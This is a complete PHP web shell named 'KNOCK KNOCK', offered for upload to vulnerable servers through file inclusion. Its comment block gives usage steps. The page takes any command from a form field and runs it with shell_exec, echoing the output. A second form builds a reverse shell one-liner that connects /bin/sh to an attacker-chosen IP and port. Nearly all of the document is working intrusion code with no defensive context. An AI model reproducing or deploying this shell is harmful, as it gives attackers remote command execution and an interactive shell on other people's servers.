Remote Shell [File Inclusion]

<?php
/*
    Name : KNOCK KNOCK
    Owner : Naman Sahore
    Email : namansahore@gmail.com
    Published on : 30th July 2017

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

    This shell scrpit can be used for performing Remote File Inclusion
    as well as Local File Inclusion( by adding .php at the end of
    script) and getting REVERSE SHELL from vulnerable server
    or performing shell command on browser.

    HOW TO USE:
    FOR RFI
        Clear .txt extention and upload the script on a server and
        preform RFI.
    FOR LFI
        Clear .txt and add .php extention to the script and
        perform LFI by uploading shell script on a
        vulnerable server.

        Comment for more information.
*/
?>
<body style="background-color:rgb(200,200,200);">
    <form action="<?php $link = (isset($_SERVER['HTTPS']) ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; echo "{$link}"?>" method="POST">
    <center>
        <strong>
        </br>
        <h1 color="rgb(255, 0, 31)"><b>KNOCK KNOCK</b></h1>
        </br>
        <h2 color="rgb(255, 0, 31)"><b>SHELL</b></h2>
            COMMAND : <input type="text" name="cmd" value=""/>
            <input type="submit" name="submit" value="CMD" />
        </br></br>
        <h2 color="rgb(255, 0, 31)"><b>R SHELL USING PHP</b></h2>
        <p><b><i>*NOTE : </b>Before triggring rshell, start listening</i></p>
        </br>
        IP : <input type="text" name="ip" value=""/>&nbsp;PORT : <input type="text" name="port" value=""/>
        <input type="submit" name="submit" value="R SHELL" />
        </strong>
    </center>
    <br />
    <strong>
    <font size="5">
        <?php
        if(isset($_POST["cmd"])){
            $cmd=$_POST["cmd"];
            $output = shell_exec("{$cmd} 2>&1");
            echo $cmd."</br>"."<pre>".$output."</pre>";
        }
        if (isset($_POST["ip"]) && isset($_POST["port"])) {
            $sock="sock";
            $cmd = "php -r '$"."{$sock}"."=fsockopen("."\"{$_POST["ip"]}\"".","."{$_POST["port"]}".");shell_exec(\""."/bin/sh -i <&3 >&3 2>&3"."\");'";
            if (strlen($cmd)>66) {
                shell_exec("{$cmd} 2>&1");
            }
        }
        ?>
    </font>
    </strong>
</body>